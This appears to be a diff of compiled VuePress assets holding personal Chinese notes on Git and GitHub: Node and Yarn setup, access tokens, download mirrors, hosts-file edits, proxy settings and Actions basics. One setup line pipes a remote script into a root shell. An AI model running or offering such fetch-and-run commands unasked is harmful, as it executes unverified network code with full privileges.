ubuntu16.04",-1),S={href:"https://github.com/Ayusummer/DailyNotes/blob/main/%E5%89%8D%E7%AB%AF/%E9%80%9A%E8%AF%86.md#ubuntu-%E5%AE%89%E8%A3%85-yarn",target:"_blank",rel:"noopener noreferrer"},L=t(`
    # Ubuntu 安装 nodejs 16
    +curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash -
    +sudo apt-get install -y nodejs
    +# 持久换淘宝源
    +npm config set registry https://registry.npm.taobao.org
    +# 查看换源是否生效
    +npm config get registry
    +
    +# 安装 yarn
    +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
    +echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
    +sudo apt update
    +sudo apt install yarn
    +
    `,1),H=t(`
    # clone 仓库
    +git clone https://gitee.com/ayusummer233/learnGitBranching.git
    +# 安装依赖
    +yarn install
    +yarn gulp fastBuild # skips tests and linting, faster build
    +yarn gulp build # runs tests and lint
    +# 使用 screen 创建一个窗口(或者使用 tmux 或者 zellij 均可)
    +screen -S gitLearn
    +# 使用 Python http.server 部署到本地 9222 端口(或随便换个自己喜欢的端口)
    +python -m http.server 9222
    +# Ctrl A D 挂起当前 screen
    +

    常见问题


    fatal: Authentication failed

    `,5),R={href:"https://github.blog/2020-12-15-token-authentication-requirements-for-git-operations/",target:"_blank",rel:"noopener noreferrer"},j={href:"https://docs.github.com/cn/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token",target:"_blank",rel:"noopener noreferrer"},z=t(`

    remote: Support for password authentication was removed on August 13, 2021. Please use a personal access token instead. remote: Please see https://github.blog/2020-12-15-token-authentication-requirements-for-git-operations/ for more information. fatal: Authentication failed for 'https://github.com/Ayusummer/vue-vben-admin.git/'

    image-20220503212613312

    image-20220503212933997

    需要在 github 上创建一个私有的 access token 来用

    image-20220503213035692

    image-20220503213144120

    填写自拟的token名并设置过期时间以及权限后点击页面左下角的 Generate token创建即可

    Warning: Treat your tokens like passwords and keep them secret. When working with the API, use tokens as environment variables instead of hardcoding them into your programs.

    然后就可以通过 usernametoken 来进行一些权限操作了


    filename too lang

    git config --system core.longpaths true
    +

    拉取时间过长

    排除了网络问题后, 如果仓库过大导致拉取时间很长, 可以尝试只 clone 到最近一次提交:

    git clone xxxxxxx --depth 1
    +

    `,17);function W(V,$){const e=o("ExternalLinkIcon");return l(),c("div",null,[p,n("blockquote",null,[n("p",null,[n("a",d,[a("Git飞行规则-git-flight-rules/README_zh-CN.md at master · k88hudson/git-flight-rules (github.com)"),s(e)])])]),u,n("blockquote",null,[n("p",null,[n("a",h,[a("How to upgrade Git on Windows to the latest version - Stack Overflow"),s(e)])])]),m,n("blockquote",null,[n("p",null,[a("通过命令行下载慢的话可以选择 "),n("a",b,[a("Git (git-scm.com)"),s(e)]),a(" 下载 exe 执行更新即可")])]),v,n("blockquote",null,[n("p",null,[n("a",g,[a("Ubuntu PPA 使用指南 - 知乎 (zhihu.com)"),s(e)]),a("["),k,a("]")]),n("p",null,[n("a",f,[a("What is PPA in Ubuntu Linux and How Do I Use Them (ubuntupit.com)"),s(e)])])]),_,n("p",null,[a("当运行 "),E,a(" 命令时,系统将使用 "),n("a",A,[a("APT 工具"),s(e)]),a(" 来检查软件仓库并将软件及其版本信息存储在缓存中。当使用 "),B,a(" 命令时,它通过该信息从实际存储软件的网址获取该软件包")]),x,n("blockquote",null,[n("p",null,[a("["),n("a",y,[a("小技巧] git 中查看某个文件是什么时候被删除的_HaveFunInLinux的博客-CSDN博客_git 查看某个文件什么时候被删除"),s(e)])])]),q,n("blockquote",null,[n("p",null,[n("a",w,[a("hellodigua/code996: code996 是一个分析工具,它可以统计 Git 项目的 commit 时间分布,进而推导出这个项目的编码工作强度 (github.com)"),s(e)])]),G]),n("p",null,[n("a",P,[a("Preview"),s(e)])]),T,n("blockquote",null,[F,n("p",null,[n("a",I,[a("PowerShell 7相关"),s(e)])])]),C,D,n("blockquote",null,[n("p",null,[n("a",M,[a("pcottle/learnGitBranching: An interactive git visualization and tutorial. Aspiring students of git can use this app to educate and challenge themselves towards mastery of git! (github.com)"),s(e)])])]),n("p",null,[a("Github 仓库拉取速度可能会比较慢, 所以可以将其导入到 Gitee 仓库中: "),n("a",U,[a("learnGitBranching: https://github.com/pcottle/learnGitBranching 学习 Git, 用于个人部署 (gitee.com)"),s(e)])]),N,O,n("blockquote",null,[n("p",null,[n("a",S,[a("Ubuntu 安装 yarn 可参考此项"),s(e)])]),L]),H,n("blockquote",null,[n("p",null,[n("a",R,[a("Token authentication requirements for Git operations | The GitHub Blog"),s(e)])]),n("p",null,[n("a",j,[a("Creating a personal access token - GitHub Docs"),s(e)])])]),z])}const Q=i(r,[["render",W],["__file","Git.html.vue"]]);export{Q as default}; diff --git a/assets/Gitee.html-8eb89cf1.js b/assets/Gitee.html-8eb89cf1.js new file mode 100644 index 0000000000..0debf37011 --- /dev/null +++ b/assets/Gitee.html-8eb89cf1.js @@ -0,0 +1,8 @@ +import{_ as e}from"./plugin-vue_export-helper-c27b6911.js";import{o as t,c as n,a as o}from"./app-893ba623.js";const s={};function r(a,i){return t(),n("div",null,[o(` + * @Author: your name + * @Date: 2021-01-21 23:01:37 + * @LastEditTime: 2021-01-22 00:01:27 + * @LastEditors: Please set LastEditors + * @Description: In User Settings Edit + * @FilePath: \\DailyNotes\\社区相关\\Gitee.md +`)])}const l=e(s,[["render",r],["__file","Gitee.html.vue"]]);export{l as default}; diff --git a/assets/Gitee.html-bf574842.js b/assets/Gitee.html-bf574842.js new file mode 100644 index 0000000000..7e2e077be1 --- /dev/null +++ b/assets/Gitee.html-bf574842.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-6f3eb294","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Gitee.html","title":"","lang":"zh-CN","frontmatter":{},"headers":[],"git":{"createdTime":1667837978000,"updatedTime":1667837978000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.11,"words":33},"filePathRelative":"社区相关/Gitee.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data}; diff --git a/assets/Github.html-4f601888.js b/assets/Github.html-4f601888.js new file mode 100644 index 0000000000..c0398d1b59 --- /dev/null +++ b/assets/Github.html-4f601888.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1f40be27","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Github.html","title":"Github","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"加速","slug":"加速","link":"#加速","children":[{"level":3,"title":"Github 镜像","slug":"github-镜像","link":"#github-镜像","children":[]},{"level":3,"title":"PC网页端用户头像加载不出来","slug":"pc网页端用户头像加载不出来","link":"#pc网页端用户头像加载不出来","children":[]}]},{"level":2,"title":"Git配置","slug":"git配置","link":"#git配置","children":[{"level":3,"title":"SSH Key","slug":"ssh-key","link":"#ssh-key","children":[]},{"level":3,"title":"本地仓库切换 https 到 ssh","slug":"本地仓库切换-https-到-ssh","link":"#本地仓库切换-https-到-ssh","children":[]},{"level":3,"title":"SSH 代理","slug":"ssh-代理","link":"#ssh-代理","children":[]}]},{"level":2,"title":"简介","slug":"简介","link":"#简介","children":[{"level":3,"title":"Commit","slug":"commit","link":"#commit","children":[]},{"level":3,"title":"Issues","slug":"issues","link":"#issues","children":[]},{"level":3,"title":"Pull Request","slug":"pull-request","link":"#pull-request","children":[]}]},{"level":2,"title":"Actions","slug":"actions","link":"#actions","children":[{"level":3,"title":"基本概念","slug":"基本概念","link":"#基本概念","children":[]},{"level":3,"title":"workflow","slug":"workflow","link":"#workflow","children":[]}]},{"level":2,"title":"Markdown","slug":"markdown","link":"#markdown","children":[{"level":3,"title":"数学公式","slug":"数学公式","link":"#数学公式","children":[]}]},{"level":2,"title":"webhooks","slug":"webhooks","link":"#webhooks","children":[{"level":3,"title":"借助钉钉的Github机器人将仓库变动通知到钉钉群里","slug":"借助钉钉的github机器人将仓库变动通知到钉钉群里","link":"#借助钉钉的github机器人将仓库变动通知到钉钉群里","children":[]}]},{"level":2,"title":"开源许可证选择","slug":"开源许可证选择","link":"#开源许可证选择","children":[]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":".git过大","slug":"git过大","link":"#git过大","children":[]},{"level":3,"title":"腾讯云 github 连接超时问题","slug":"腾讯云-github-连接超时问题","link":"#腾讯云-github-连接超时问题","children":[]}]},{"level":2,"title":"报错处理","slug":"报错处理","link":"#报错处理","children":[{"level":3,"title":"Failed to connect to github.com port 443 after 21063 ms: Timed out","slug":"failed-to-connect-to-github-com-port-443-after-21063-ms-timed-out","link":"#failed-to-connect-to-github-com-port-443-after-21063-ms-timed-out","children":[]},{"level":3,"title":"OpenSSL SSL_read: Connection was reset, errno 10054","slug":"openssl-ssl-read-connection-was-reset-errno-10054","link":"#openssl-ssl-read-connection-was-reset-errno-10054","children":[]}]},{"level":2,"title":"未成功归档/TODO","slug":"未成功归档-todo","link":"#未成功归档-todo","children":[{"level":3,"title":"Nginx 反代 Github(TODO: mark下, 没成功跑起来)","slug":"nginx-反代-github-todo-mark下-没成功跑起来","link":"#nginx-反代-github-todo-mark下-没成功跑起来","children":[]}]}],"git":{"createdTime":1667837978000,"updatedTime":1695232144000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":4},{"name":"233PC","email":"ayusummer233@qq.com","commits":3},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":3},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":19.39,"words":5816},"filePathRelative":"社区相关/Github.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/Github.html-761f77a0.js b/assets/Github.html-761f77a0.js new file mode 100644 index 0000000000..1a43d13c06 --- /dev/null +++ b/assets/Github.html-761f77a0.js @@ -0,0 +1,231 @@ +import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o as l,c,b as n,e as s,d as e,f as t}from"./app-893ba623.js";const p={},r=t('

    Github


    加速

    通用的加速方案最好的措施就是用代理

    对于不方便使用代理的场景, 如果是 clone 或者下载项目压缩包, releases 的场景, 可以使用镜像

    除此以外, watt Toolkit 等工具也可以用

    最不济可以手动改 host


    Github 镜像

    ',10),u={href:"https://github.com/eryajf/Thanks-Mirror#github",target:"_blank",rel:"noopener noreferrer"},d=n("hr",null,null,-1),h=n("h4",{id:"mirrors",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#mirrors","aria-hidden":"true"},"#"),s(" Mirrors")],-1),m=n("p",null,"GitHub 相关的国内镜像,有不同的使用方式,这里仅列出目前可用的国内镜像,具体用法请查阅镜像的官方说明。",-1),b=n("p",null,"https://hub.fastgit.xyz/",-1),k={href:"https://doc.fastgit.org/zh-cn/",target:"_blank",rel:"noopener noreferrer"},v=n("p",null,"类似fastgit的还有:",-1),g=n("ul",null,[n("li",null,"https://hub.yzuu.cf/"),n("li",null,"https://hub.njuu.cf/")],-1),_=n("p",null,"https://gitclone.com/",-1),f=n("code",null,"GitHub",-1),y={href:"https://gitclone.com/docs/feature/gitclone_web",target:"_blank",rel:"noopener noreferrer"},x=t("
  • https://ghproxy.com/

    GitHub 文件 , Releases , archive , gist , raw.githubusercontent.com 文件代理加速下载服务,使用细则参见官方。

  • https://toolwa.com/github/

  • https://github.91chi.fun/

  • https://github.abskoop.workers.dev/

  • https://pd.zwc365.com/

  • https://gh.con.sh/

  • https://www.7ed.net/#/raw-cdn

  • ",7),w=n("p",null,"也可以通过其他方式提供的加速方案。",-1),E={href:"https://greasyfork.org/zh-CN/scripts/397419-fastgithub-%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F%E8%AE%BF%E9%97%AE-%E5%85%8B%E9%9A%86%E5%92%8C%E4%B8%8B%E8%BD%BD",target:"_blank",rel:"noopener noreferrer"},A=n("p",null,[s("安装之后,会直接在 "),n("code",null,"GitHub"),s(" 项目当中出现可用的国内加速克隆方式,比较方便,推荐安装。")],-1),S={href:"https://chrome.google.com/webstore/detail/github%E5%8A%A0%E9%80%9F/ffjjnphohkfckeplcjflmgneebafggej?hl=zh",target:"_blank",rel:"noopener noreferrer"},N=n("p",null,"与油猴脚本效果一致,只是通过插件的形式安装配置。",-1),D=t(`
    镜像测速
    # 读取源列表每一行的地址, 将每个地址拆分为 [协议, 域名, 路径], 然后对每个域名 ping 4次, 按照响应时间递增排序, 输出到目的文件
    +import os
    +import re
    +
    +
    +def ping_linux(host: str, count: int = 4) -> float:
    +    """Linux 下的 ping 命令  
    +    :param host: 域名
    +    :param count: ping 的次数
    +    :return: 返回平均响应时长
    +    """
    +    output = os.popen(f'ping {host} -c {count}').read()
    +    try:
    +        min, avg, max, mdev = re.findall(r'rtt min/avg/max/mdev = (\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+)/(\\d+\\.\\d+) ms', output)[0]
    +        print(f'{host} {avg}ms')
    +    # 全丢包的情况下就找不到了, 此时返回一个很大的数
    +    except IndexError:
    +        print(f'{host} 超时')
    +        return 999999
    +    return float(avg)
    +
    +
    +def split_url_to_hosts(source_path: str) -> list:
    +    """将源列表每个条目拆分成 [协议, 域名, 路径] 的格式并返回所有条目拆分完后的嵌套列表  
    +    :param source_path: 源文件
    +    :return: 拆分后的嵌套列表
    +    """
    +    with open(source_path, 'r') as f:
    +        hosts = f.read().splitlines()
    +        for i in range(len(hosts)):
    +            hosts[i] = hosts[i].strip()
    +            # 根据 :// 进行拆分, 拆分结果作为继续拆分 协议, 域名, 路径 的依据
    +            main_split = hosts[i].split('://')
    +
    +            # 第一片为 协议://
    +            first_fragment = main_split[0] + '://'
    +            # 第二片为 域名
    +            second_fragment = main_split[1].split('/')[0]
    +            # 第三片为 路径
    +            third_fragment = '/' + '/'.join(main_split[1].split('/')[1:])
    +
    +            # 将拆分后的三片组合成一个列表
    +            hosts[i] = [first_fragment, second_fragment, third_fragment]
    +        # 返回拆分后的嵌套列表
    +        return hosts
    +
    +
    +def sort_write_hosts(hosts: list, target_path: str) -> None:
    +    """根据对源文件拆分后的嵌套列表中的域名进行 ping 操作, 并将结果按响应时间升序输出到目的文件  
    +    :param hosts: 源文件拆分后的嵌套列表  
    +    :param target_path: 目标输出文件路径
    +    :return: None
    +    """
    +    # 遍历 hosts 中的每个域名, 并对其进行 ping 操作, 将平均响应时间插入到 hosts 尾部
    +    for i in range(len(hosts)):
    +        hosts[i].append(ping_linux(hosts[i][1]))
    +    # 按照响应时间升序排序
    +    hosts.sort(key=lambda x: x[3])
    +    # 将排序后的 hosts 写入到目的文件
    +    with open(target_path, 'w') as f:
    +        for host in hosts:
    +            f.write(f'{host[0]}{host[1]}{host[2]} {host[3]}ms \\n')
    +
    +
    +def sort_sources(source_path: str, target_path: str) -> None:
    +    """对源文件(kali 镜像列表)进行排序, 并按照响应时间升序输出到目的文件  
    +    :param source_path: kali 镜像列表文件路径  
    +    :param target_path: 按照相应时间升序输出的目的文件路径
    +    """
    +    print("开始拆分源文件...")
    +    # 将源文件拆分为嵌套列表
    +    hosts = split_url_to_hosts(source_path)
    +    print("拆分完成, 开始排序...")
    +    # 对拆分后的嵌套列表进行排序并输出到目的文件
    +    sort_write_hosts(hosts, target_path)    
    +    print("排序完成, 请查看目的文件")
    +
    +
    +if __name__ == '__main__':
    +    source_path = os.path.join(os.path.dirname(__file__), 'sources_github.txt')
    +    target_path = os.path.join(os.path.dirname(__file__), 'result_github.txt')
    +    sort_sources(source_path, target_path)
    +

    PC网页端用户头像加载不出来

    `,5),q={href:"https://zhuanlan.zhihu.com/p/139219691",target:"_blank",rel:"noopener noreferrer"},C=t(`
  • 当前无法显示用户头像的页面下Ctrl+Shift+C打开元素选择器选择未加载出的头像定位到其在源码中的标签并记下其域名
  • 打开https://www.ipaddress.com/输入域名并回车得到一个ip
  • 打开路径C:\\Windows\\System32\\drivers\\etc
  • 修改该路径下的host文件的文件属性中的安全一栏中的Users组的权限,勾选完全控制
  • 用记事本打开host文件,在末尾粘贴以下文字并保存退出,返回原网页刷新即可
    # GitHub Start(更新于2021.1.22) 
    +140.82.113.3      github.com
    +140.82.114.20     gist.github.com
    +
    +199.232.96.133    assets-cdn.github.com
    +199.232.96.133    raw.githubusercontent.com
    +199.232.96.133    gist.githubusercontent.com
    +199.232.96.133    cloud.githubusercontent.com
    +199.232.96.133    camo.githubusercontent.com
    +199.232.96.133    avatars.githubusercontent.com
    +199.232.68.133     avatars.githubusercontent.com
    +199.232.96.133    avatars0.githubusercontent.com
    +199.232.68.133     avatars0.githubusercontent.com
    +199.232.28.133     avatars1.githubusercontent.com
    +199.232.96.133    avatars1.githubusercontent.com
    +199.232.96.133    avatars2.githubusercontent.com
    +199.232.28.133     avatars2.githubusercontent.com
    +199.232.96.133    avatars3.githubusercontent.com
    +199.232.68.133     avatars3.githubusercontent.com
    +199.232.96.133    avatars4.githubusercontent.com
    +199.232.68.133     avatars4.githubusercontent.com
    +199.232.96.133    avatars5.githubusercontent.com
    +199.232.68.133     avatars5.githubusercontent.com
    +199.232.96.133    avatars6.githubusercontent.com
    +199.232.68.133     avatars6.githubusercontent.com
    +199.232.96.133    avatars7.githubusercontent.com
    +199.232.68.133     avatars7.githubusercontent.com
    +199.232.96.133    avatars8.githubusercontent.com
    +199.232.68.133     avatars8.githubusercontent.com
    +
    +# GitHub End
    +

    如若你得到的ip并非199.232.96.133则只需把上面代码中的199.232.96.133利用查找替换替换为你得到的ip即可(当再次无法看到头像时可以试着重查一次ip然后替换掉原ip)

  • `,5),B=n("hr",null,null,-1),j=n("h2",{id:"git配置",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git配置","aria-hidden":"true"},"#"),s(" Git配置")],-1),G={href:"https://www.jianshu.com/p/b481d2a42274",target:"_blank",rel:"noopener noreferrer"},H=n("hr",null,null,-1),F=t(`

    使用 VSCode 拉取更新与推送修改经常出错, 需要配置代理(以本地 7890 端口为例), 在本地项目根目录下打开命令行进行代理配置:

    git config http.proxy http://127.0.0.1:7890
    +git config https.proxy http://127.0.0.1:7890
    +git config core.gitPorxy socks5://127.0.0.1:7890
    +

    可以配置全局代理, 但是由于本地还有在用内网的 gitlab, 所以不适合配全局, 这里是针对项目配的


    取消代理配置如下:

    git config --global --unset http.proxy
    +git config --global --unset https.proxy
    +git config --global --unset core.gitPorxy
    +

    SSH Key

    `,7),O={href:"https://blog.csdn.net/qq_45515863/article/details/106312232",target:"_blank",rel:"noopener noreferrer"},U=t(`

    需要注意的是在 Linux 上使用不同的用户创建的 ssh-key 加入到 github 后也只有对应的用户可以使用, 当切换用户后需要将该用户的 ssh-key 也加入到 Github 的 SSH-key 中方可使用


    本地仓库切换 https 到 ssh

    `,4),R={href:"https://github.com/vernesong/OpenClash/issues/1960#issuecomment-1019101426",target:"_blank",rel:"noopener noreferrer"},T=n("p",null,"[Correct way to set git proxy - Kirovj's Chaos --- 设置 git 代理的正确方法 - Kirovj's Chaos (wuyiting.cn)](https://www.wuyiting.cn/blog/Correct way to set git proxy)",-1),L={href:"https://blog.csdn.net/Wrysmile0308/article/details/128801870",target:"_blank",rel:"noopener noreferrer"},P={href:"https://github.com/orgs/community/discussions/50878",target:"_blank",rel:"noopener noreferrer"},M={href:"https://github.blog/2023-03-23-we-updated-our-rsa-ssh-host-key/",target:"_blank",rel:"noopener noreferrer"},z=t(`

    可以使用如下命令查看当前仓库的远程 URL:

    git remote -v
    +

    image-20230921013052319

    要想从 https(ssh) 切到 ssh(https) 的话可以如下设置:

    # git remote set-url origin xxx
    +git remote set-url origin git@github.com:Ayusummer/DailyNotes.git
    +

    SSH 代理

    最近更新仓库时总是莫名其妙被重置, 见到了好多奇怪的报错, 包括但不限于

    Connection reset by 20.205.243.166 port 22
    +fatal: Could not read from remote repository.
    +
    +Please make sure you have the correct access rights
    +and the repository exists.
    +
    Error: Unable to Fetch from Remote(s)
    +kex_exchange_identification: Connection closed by remote host
    +Connection closed by UNKNOWN port 65535
    +fatal: Could not read from remote repository.
    +
    +Please make sure you have the correct access rights
    +and the repository exists.
    +
    Error: Unable to Fetch from Remote(s)
    +Host key verification failed.
    +fatal: Could not read from remote repository.
    +
    +Please make sure you have the correct access rights
    +and the repository exists.
    +

    最终达成的解决方案是

    1. 把本地的密钥对删了, 重新新建一对密钥并将公钥添加到 github ssh key

    2. 清除本地 know_hosts 中的 github 条目

      image-20230921013523135

      如果有 know_hosts.old 文件, 可以直接把这个 old 删了

      image-20230921013757996

    3. 配置 ssh 使用本地代理, 以 clash 默认 7890 端口为例

      配置文件在 ~/.ssh/config, 不存在则新建, 对于 windows 而言可以是:

      image-20230921013914928

      写入如下配置

      Host github.com
      +    Hostname ssh.github.com
      +    Port 443
      +    User git
      +    ProxyCommand connect -H 127.0.0.1:7890 %h %p
      +
    4. 关闭 VSCode, 重新打开即可, 可以 git fetch 看下效果

      image-20230921014108032

      image-20230921014150077

    至少我如此操作成功修复了, 后续再遇到类似问题再看吧(


    简介


    Commit


    规范

    `,21),I={href:"https://github.com/UvDream/git-commit-lint-vscode",target:"_blank",rel:"noopener noreferrer"},K=t('

    参照 Angular 社区的提交规范并结合 emoji, 上面参考链接里这位老哥开发了一款 VSCode git 规范化提交插件 git-commit-lint-vscode, 提交的时候可视化选择类型然后再手打详细信息

    image-20210628112317321


    Issues


    Pull Request

    ',6),V={href:"https://www.zhihu.com/question/21682976",target:"_blank",rel:"noopener noreferrer"},W=n("li",null,"以下为文章原文:",-1),$=n("li",null,[s("我尝试用类比的方法来解释一下 pull reqeust。想想我们中学考试,老师改卷的场景吧。 "),n("ul",null,[n("li",null,"你做的试卷就像仓库,你的试卷肯定会有很多错误,就相当于程序里的 bug。"),n("li",null,[s("老师把你的试卷拿过来,相当于先 fork。 "),n("ul",null,[n("li",null,"在你的卷子上做一些修改批注,相当于 git commit。"),n("li",null,"最后把改好的试卷给你,相当于发 pull request,")])]),n("li",null,"你拿到试卷重新改正错误,相当于 merge。")])],-1),J=n("hr",null,null,-1),Y=n("h2",{id:"actions",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#actions","aria-hidden":"true"},"#"),s(" Actions")],-1),Q={href:"http://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html",target:"_blank",rel:"noopener noreferrer"},X={href:"https://docs.github.com/cn/github-ae@latest/actions/using-workflows/about-workflows",target:"_blank",rel:"noopener noreferrer"},Z=n("p",null,"持续集成由很多操作组成,比如抓取代码、运行测试、登录远程服务器,发布到第三方服务等等。GitHub 把这些操作就称为 actions。",-1),nn=n("p",null,"很多操作在不同项目里面是类似的,完全可以共享。GitHub 允许开发者把每个操作写成独立的脚本文件,存放到代码仓库,使得其他开发者可以引用。",-1),sn=n("p",null,"如果你需要某个 action,不必自己写复杂的脚本,直接引用他人写好的 action 即可,整个持续集成过程,就变成了一个 actions 的组合。这就是 GitHub Actions 最特别的地方。",-1),an={href:"https://github.com/marketplace?type=actions",target:"_blank",rel:"noopener noreferrer"},en={href:"https://github.com/sdras/awesome-actions",target:"_blank",rel:"noopener noreferrer"},tn=n("code",null,"userName/repoName",-1),on=n("code",null,"actions/setup-node",-1),ln=n("code",null,"github.com/actions/setup-node",-1),cn={href:"https://github.com/actions/setup-node",target:"_blank",rel:"noopener noreferrer"},pn={href:"https://github.com/actions",target:"_blank",rel:"noopener noreferrer"},rn={href:"https://help.github.com/en/articles/about-actions#versioning-your-action",target:"_blank",rel:"noopener noreferrer"},un=t(`
    actions/setup-node@74bc508 # 指向一个 commit
    +actions/setup-node@v1.0    # 指向一个标签
    +actions/setup-node@master  # 指向一个分支
    +

    基本概念


    workflow

    GitHub Actions 的配置文件叫做 workflow 文件,存放在代码仓库的.github/workflows目录。

    `,7),dn={href:"https://www.ruanyifeng.com/blog/2016/07/yaml.html",target:"_blank",rel:"noopener noreferrer"},hn=n("code",null,".yml",-1),mn=n("code",null,"foo.yml",-1),bn=n("code",null,".github/workflows",-1),kn=n("code",null,".yml",-1),vn=n("blockquote",null,[n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202205220719879.png",alt:"image-20220522071931643"})])],-1),gn={href:"https://help.github.com/en/articles/workflow-syntax-for-github-actions",target:"_blank",rel:"noopener noreferrer"},_n=t(`
  • name: name字段是 workflow 的名称。如果省略该字段,默认为当前 workflow 的文件名。

    name: Create Release
    +
  • `,1),fn=t(`

    on: on字段指定触发 workflow 的条件,通常是某些事件。

    on: push
    +

    上面代码指定,push事件触发 workflow。

    on字段也可以是事件的数组。

    on: [push, pull_request]
    +
    `,5),yn={href:"https://help.github.com/en/articles/events-that-trigger-workflows",target:"_blank",rel:"noopener noreferrer"},xn=t(`

    on.<push|pull_request>.<tags|branches>: 指定触发事件时,可以限定分支或标签。

    on:
    +  push:
    +    branches:    
    +      - master
    +

    当使用 push 事件时, 可以配置 workflow 运行在指定的 branch 或是 tag

    如果希望包含 branch 名称模式,或者希望同时包含和排除 branch 名称模式,可以使用 branch 筛选器。当只想排除分支名称模式时,使用branches-ignore筛选器。注意不能对工作流中的同一事件同时使用 branchesbranches-ignore筛选器

    对于 tag 处理和上述 branch 处理相似

    `,5),wn=n("code",null,"paths",-1),En=n("code",null,"paths-gnore",-1),An=n("code",null,"*",-1),Sn=n("code",null,"**",-1),Nn={href:"https://docs.github.com/cn/github-ae@latest/actions/using-workflows/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet",target:"_blank",rel:"noopener noreferrer"},Dn=t(`
  • jobs.<job_id>.name

    workflow 文件的主体是jobs字段,表示要执行的一项或多项任务。

    jobs字段里面,需要写出每一项任务的job_id,具体名称自定义。job_id里面的name字段是任务的说明。

    jobs:
    +  my_first_job:
    +    name: My first job
    +  my_second_job:
    +    name: My second job
    +

    上面代码的jobs字段包含两项任务,job_id分别是my_first_jobmy_second_job

    jobs:
    +  build:
    +    name: Create Release
    +

    job_id: build; name: Create Release

  • jobs.<job_id>.needs: needs字段指定当前任务的依赖关系,即运行顺序。

    jobs:
    +  job1:
    +  job2:
    +    needs: job1
    +  job3:
    +    needs: [job1, job2]
    +

    上面代码中,job1必须先于job2完成,而job3等待job1job2的完成才能运行。因此,这个 workflow 的运行顺序依次为:job1job2job3

  • `,2),qn=t(`

    jobs.<job_id>.runs-on: runs-on字段指定运行所需要的虚拟机环境。它是必填字段。目前可用的虚拟机如下。

    ubuntu-latest,ubuntu-18.04或ubuntu-16.04
    +windows-latest,windows-2019或windows-2016
    +macOS-latest或macOS-10.14
    +
    `,2),Cn={href:"https://docs.github.com/cn/github-ae@latest/actions/hosting-your-own-runners/about-self-hosted-runners",target:"_blank",rel:"noopener noreferrer"},Bn=t("
  • jobs.<job_id>.steps: steps字段指定每个 Job 的运行步骤,可以包含一个或多个步骤。每个步骤都可以指定以下三个字段。

  • ",1),jn=n("hr",null,null,-1),Gn=n("h2",{id:"markdown",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#markdown","aria-hidden":"true"},"#"),s(" Markdown")],-1),Hn=n("h3",{id:"数学公式",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#数学公式","aria-hidden":"true"},"#"),s(" 数学公式")],-1),Fn={href:"https://github.com/orsharir/github-mathjax/releases/tag/v0.2.1",target:"_blank",rel:"noopener noreferrer"},On=t('',1),Un=n("h2",{id:"webhooks",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#webhooks","aria-hidden":"true"},"#"),s(" webhooks")],-1),Rn=n("h3",{id:"借助钉钉的github机器人将仓库变动通知到钉钉群里",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#借助钉钉的github机器人将仓库变动通知到钉钉群里","aria-hidden":"true"},"#"),s(" 借助钉钉的Github机器人将仓库变动通知到钉钉群里")],-1),Tn={href:"https://blog.csdn.net/q563573095/article/details/79580249",target:"_blank",rel:"noopener noreferrer"},Ln=t("
  • 进入钉钉群聊
  • 打开Github仓库
  • push一次提交
  • ",3),Pn=n("h2",{id:"开源许可证选择",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#开源许可证选择","aria-hidden":"true"},"#"),s(" 开源许可证选择")],-1),Mn=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202302191539879.png",alt:"开源许可证选择",title:"屏幕截图.png"})],-1),zn={href:"http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html",target:"_blank",rel:"noopener noreferrer"},In=n("hr",null,null,-1),Kn=n("h2",{id:"常见问题",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#常见问题","aria-hidden":"true"},"#"),s(" 常见问题")],-1),Vn=n("h3",{id:"git过大",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git过大","aria-hidden":"true"},"#"),s(" .git过大")],-1),Wn=n("li",null,[s("初用git时有时会错把资源文件传到源码仓库里去,这样下来仓库本身就会变得特别大,即使是后来删掉了资源文件也会导致"),n("code",null,".git"),s("文件过大从而直接"),n("code",null,"clone"),s("的时候可能会因为仓库过大而失败")],-1),$n=n("li",null,[s("提交次数过多也会让"),n("code",null,".git"),s("越来越大")],-1),Jn={href:"https://www.cnblogs.com/everlose/p/12826025.html",target:"_blank",rel:"noopener noreferrer"},Yn=n("code",null,"clone",-1),Qn=n("code",null,"--depth 1",-1),Xn=n("code",null,"commit",-1),Zn=n("hr",null,null,-1),ns=n("h3",{id:"腾讯云-github-连接超时问题",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#腾讯云-github-连接超时问题","aria-hidden":"true"},"#"),s(" 腾讯云 github 